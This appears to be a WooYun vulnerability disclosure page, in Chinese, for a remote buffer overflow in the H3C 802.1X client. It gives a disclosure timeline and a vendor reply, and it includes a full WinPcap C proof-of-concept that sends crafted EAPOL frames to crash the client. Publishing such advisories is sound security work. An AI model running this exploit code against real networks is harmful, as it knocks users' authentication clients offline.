当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020272

漏洞标题:H3C 802.1X客户端远程缓冲区溢出漏洞

相关厂商:华为技术有限公司

漏洞作者: cssembly

提交时间:2013-03-18 20:46

修复时间:2013-06-16 20:47

公开时间:2013-06-16 20:47

漏洞类型:拒绝服务

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-18: 细节已通知厂商并且等待厂商处理中
2013-03-19: 厂商已经确认,细节仅向厂商公开
2013-03-22: 细节向第三方安全合作伙伴开放
2013-05-13: 细节向核心白帽子及相关领域专家公开
2013-05-23: 细节向普通白帽子公开
2013-06-02: 细节向实习白帽子公开
2013-06-16: 细节向公众公开

简要描述:

H3C 802.1X客户端未对关键数据做校验,导致缓冲区溢出

详细说明:

sub_4030E0函数,在4031F6点处调用memcpy函数,而memcpy函数的缓冲区长度字段如果恶意构造,就能导致减去2以后就能变成0xFFFFFFFF,最终导致缓冲区溢出

.PNG

漏洞证明:

poc代码如下:
#include <pcap.h>
#pragma comment( lib , "wpcap.lib" )
int _tmain(int argc, _TCHAR* argv[])
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[3000];
pcap_if_t *alldevs;
/* Check the validity of the command line */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
pcap_if_t *d;
int i = 0;
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
/* 选择相应网卡*/
if ((fp = pcap_open_live(alldevs->name, // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return 2;
}
memset( packet , 0 , 1000 );

/* 目标机器mac地址 */
packet[0]= 0x00;
packet[1]= 0x0C;
packet[2]= 0x29;
packet[3]= 0x0F;
packet[4]= 0x63;
packet[5]= 0xDD;
/* set mac source to 2:2:2:2:2:2 */
packet[6]= 2;
packet[7]= 2;
packet[8]= 2;
packet[9]= 2;
packet[10]= 2;
packet[11]= 2;
/* 协议头 */
packet[12] = 0x88;
packet[13] = 0x8e;
packet[14] = 0x01;
packet[15] = 0x00;
packet[16] = 0xFF;
packet[17] = 0xFF;
packet[18] = 0x01;
packet[19] = 0x03;
packet[20] = 0x05;//
packet[22] = 0x01;
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
100 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
packet[22] = 0x07;
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
100 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
packet[18] = 0x0A;
packet[19] = 0x03;
packet[20] = 0x05;//
packet[22] = 0x19;//
packet[23] = 0x19;//
packet[24] = 0x39;//
packet[25] = 0x00;//
/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
100 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
pcap_close(fp);
return 0;
}
运行客户端,输入用户名密码

.PNG


点击开始认知

1.PNG


运行攻击代码,程序溢出崩溃

2.PNG

修复方案:

版权声明:转载请注明来源 cssembly@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-03-19 08:54

厂商回复:

H3C现不属于华为,请将漏洞转至CNERT或者直接联系厂商,谢谢

最新状态:

暂无